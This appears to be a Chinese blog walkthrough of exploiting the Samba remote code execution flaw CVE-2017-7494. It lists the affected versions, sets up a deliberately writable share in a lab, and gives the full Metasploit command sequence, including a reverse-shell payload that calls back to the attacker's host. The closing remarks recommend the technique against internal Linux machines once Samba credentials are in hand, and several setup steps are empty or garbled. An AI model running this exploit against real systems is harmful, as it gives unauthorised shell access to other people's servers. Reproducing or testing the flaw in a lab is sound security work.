0x01 Samba 远程执行快速利用小结 CVE-2017-7494,至于samba是什么,我就不科普了[说白点儿就是个win和linux机器共享文件的服务,企业里面已经用到烂的东西],直接看过程吧
1
| 漏洞影响Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本
|
0x02 关于漏洞的简要描述,说的通俗一点就是’允许samba用户上传自己的类库到可读写的samba目录中’所导致的远程执行:
1
| https://www.samba.org/samba/security/CVE-2017-7494.html
|
0x03 在演示漏洞利用之前,我们需要先快速配置下samba环境[这里以centos 6.8 x64上的编译安装为例,至于为什么要编译,只因踏了太多的坑]:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 下载编译安装samba 4.5.9:
|
0x04 编辑samba的主配置文件:
0x05 添加共享目录
1 2 3 4 5 6
| [global] workgroup = MYGROUP server string = Samba Server log file = /opt/samba/var/log.%m max log size = 50 单位kb security = user 务必把这句加上,设置安全等级用的,必须用户登录
|
1 2 3 4 5 6
| [opendir] #共享目录配置 comment = CVE-2017-7494 browseable = yes 对该共享目录可读 writable = yes 对该共享目录可写 path = /opt/opendir/ # guest ok = yes 是否允许匿名登录,可加可不加,只要保证共享目录能读写就好了,因为要往里写so
|
0x06 创建samba用户
1 2
| smbd:为clinet提高资源访问 tcp 139 445 nmbd:提供netbios主机名解析 upd 137 138
|
0x07 准别好msf的exp[当然,有py版的,msf会更方便点]:
0x08 把它丢到samba的漏洞利用模块目录下
0x09 开始利用过程:
1 2 3 4 5 6 7 8 9 10 11
| msf > use exploit/linux/samba/is_known_pipename msf exploit(is_known_pipename) > set rhost 192.168.3.15 msf exploit(is_known_pipename) > set smb_share_base /opt/opendir msf exploit(is_known_pipename) > set target 0 msf exploit(is_known_pipename) > set payload linux/x64/shell_reverse_tcp msf exploit(is_known_pipename) > set lhost 192.168.3.9 msf exploit(is_known_pipename) > set lport 443 msf exploit(is_known_pipename) > set smbuser smber msf exploit(is_known_pipename) > set smbpass admin msf exploit(is_known_pipename) > exploit
|
一点小结:
中间的坑就不想说了,本来几分钟就可以重现的东西,浪费了一个多小时,唉,都是泪,总之,对于内网的linux机器还是非常值得尝试的,前提是开了此服务并且已经事先拿到了一个可以登录的samba账户密码[匿名非常少,几乎没有],而且版本号务必要对的上才行,说白点,如果直接是yum或者apt安装的,更新非常容易……你懂的,如果是编译安装的可能还更新的稍微慢一点